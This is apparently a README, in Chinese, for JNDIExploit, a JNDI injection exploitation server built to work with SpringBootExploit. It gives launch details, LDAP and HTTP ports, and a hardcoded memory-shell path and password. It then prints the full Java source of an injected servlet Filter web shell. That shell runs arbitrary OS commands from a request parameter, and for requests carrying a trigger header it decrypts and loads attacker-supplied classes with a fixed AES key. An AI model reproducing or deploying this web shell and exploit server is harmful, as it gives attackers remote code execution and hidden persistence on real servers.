JNDIExploit

一款用于 JNDI注入 利用的工具，大量参考/引用了 Rogue JNDI 项目的代码，支持直接植入内存shell，并集成了常见的bypass 高版本JDK的方式，适用于与自动化工具配合使用。

添加内容

添加内容是为了支持SpringBootExploit工具，是定制版的服务端。

  1. 启动方式：java -jar JNDIExploit-1.2-SNAPSHOT.jar 默认绑定127.0.0.1 LDAP 绑定 1389 HTTP Server 绑定3456
  2. 根目录下BehinderFilter.class是内存马 /ateam 密码是ateamnb
  3. 根目录下Calc.class是弹计算器
  4. data/behinder3.jar 是为了支持SnakYaml RCE
  5. 添加HTTPServer处理更多的请求，为了更好支持SpringBootExploit工具
  6. 将文件放在data目录下，通过HTTPServer可以访问文件内容如同python的HTTPServer

TODO

  1. 本地ClassPath反序列化漏洞利用方式
  2. 支持自定义内存马密码
  3. 内存马模块改一下

内存shell说明

植入的 Filter 代码如下：

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("[+] Dynamic Filter says hello");
        String k;
        Cipher cipher;
        if (servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")) {
            k = servletRequest.getParameter("pass");
            if (k != null && !k.isEmpty()) {
                cipher = null;
                String[] cmds;
                if (File.separator.equals("/")) {
                    cmds = new String[]{"/bin/sh", "-c", k};
                } else {
                    cmds = new String[]{"cmd", "/C", k};
                }

                String result = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter("\\A").next();
                servletResponse.getWriter().println(result);
            }
        } else if (((HttpServletRequest)servletRequest).getHeader("X-Options-Ai") != null) {
            try {
                if (((HttpServletRequest)servletRequest).getMethod().equals("POST")) {
                    k = "e45e329feb5d925b";
                    ((HttpServletRequest)servletRequest).getSession().setAttribute("u", k);
                    cipher = Cipher.getInstance("AES");
                    cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES"));
                    byte[] evilClassBytes = cipher.doFinal((new BASE64Decoder()).decodeBuffer(servletRequest.getReader().readLine()));
                    Class evilClass = (Class)this.myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke((Object)null, evilClassBytes, Thread.currentThread().getContextClassLoader());
                    Object evilObject = evilClass.newInstance();
                    Method targetMethod = evilClass.getDeclaredMethod("equals", ServletRequest.class, ServletResponse.class);
                    targetMethod.invoke(evilObject, servletRequest, servletResponse);
                }
            } catch (Exception var10) {
                var10.printStackTrace();
            }
        } else {
            filterChain.doFilter(servletRequest, servletResponse);
        }

    }
